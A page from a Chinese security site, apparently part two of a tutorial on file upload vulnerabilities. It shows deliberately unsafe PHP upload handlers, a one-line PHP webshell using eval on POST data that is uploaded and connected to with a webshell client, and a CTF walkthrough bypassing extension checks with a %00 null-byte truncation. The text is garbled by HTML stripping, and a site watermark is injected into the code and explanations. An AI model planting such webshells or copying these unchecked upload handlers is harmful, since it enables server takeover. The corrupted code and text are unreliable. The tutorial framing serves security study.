欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

文件上传漏洞原理与实例测试

来源:本站整理 作者:佚名 时间:2016-07-23 TAG: 我要投稿
        }
    $dir = "./upload/".$_FILES['upfile']['name'];
    move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
    echo "文件保存路径:".$dir."";
        echo "上传成功...";
        echo "图片预览:";
        echo ".$dir.">";
    }
}
 ?>
在这段代码里,我们通过  来检测文件上传的类型,通过第一个图里的对比我们知道Http数据包请求头里的对应的是上传文件的类型,那么我们是不是可以通过修改数据包的内容来实验绕过.ok,现在我们上传一个PHP一句话木马。
@eval($_POST['xxx']);
echo "dahuiji....";
 ?>

看返回的页面我们知道我们成功绕过了对文件类型的检测,并且菜刀连接成功
穿上上内衣的文件上传(一个十六进制的截断的ctf)

url:http://ctf4.shiyanbar.com/web/upload/

首先我们对抓取的数据包做出以上修改

通过16进制我们知道 的16进制是在出插入一个字节,右键菜单里有插入。

ok,现在我们成功获取了flag。
现在我们说下这个实验的实现原理:
1.为什么在文件后面加上和在数据包uploads/>后面加上修改后的文件名?
     PHP在对文件后缀进行判断时是对最后一个  来判断的。这样我们修改过后的文件
  名,PHP会将其判断为.jpg?www.myhack58.com文件这样我们可以绕过对文件名的检测。
  
2.为什么我们对文件名修改过后还需要添加%00截断?
    尽管我们知道我们上传的是一个PHP文件,但是如果不进行%00截断,我们上传的文件在服务
  器上是以xxx.php.jpg?www.myhack58.com>格式保存也就是说这是一个图片文件,PHP是不会解析这个文件。
  当我们进行%00截断后,服务器就会将%00后的进行截断,这是我们的的文件将以xxx.php>
  的形式保存在服务器上,我们的一句话木马也就成功的时上传成功了。
穿上外套的文件上传
    文件信息
"utf-8">
"" enctype="multipart/form-data" method="POST" name="uploadfile">
    上传文件: "file" name="upfile" />
    "submit" value="上传" name="submit">
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."";
    echo "文件大小:".$_FILES['upfile']['size']."";
    echo "文件类型:".$_FILES['upfile']['type']."";
    echo "临时路径:".$_FILES['upfile']['tmp_name']."";
    echo "上传后系统返回值:".$_FILES['upfile']['error']."";
    echo "====================保存分各线========================";
    $flag = 0;
    $path_parts = pathinfo($_FILES['upfile']['name']);
    echo '---
';
    var_dump($path_parts);    //返回文件路径信息
    if ($path_parts['extension'] == 'jpg?www.myhack58.com' && $_FILES['upfile']['type'] == 'image/jpeg') {
        $flag = 1;
    }else{
        die("文件类型错误....");
    }
    if ($_FILES['upfile']['error'] == 0 && $flag ) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
        $dir = "./upload/".$_FILES['upfile']['name'];
        echo "文件保存路径:".$dir."";
        move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
        echo "上传成功...";
        echo "图片预览:";
        echo ".$dir.">";

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载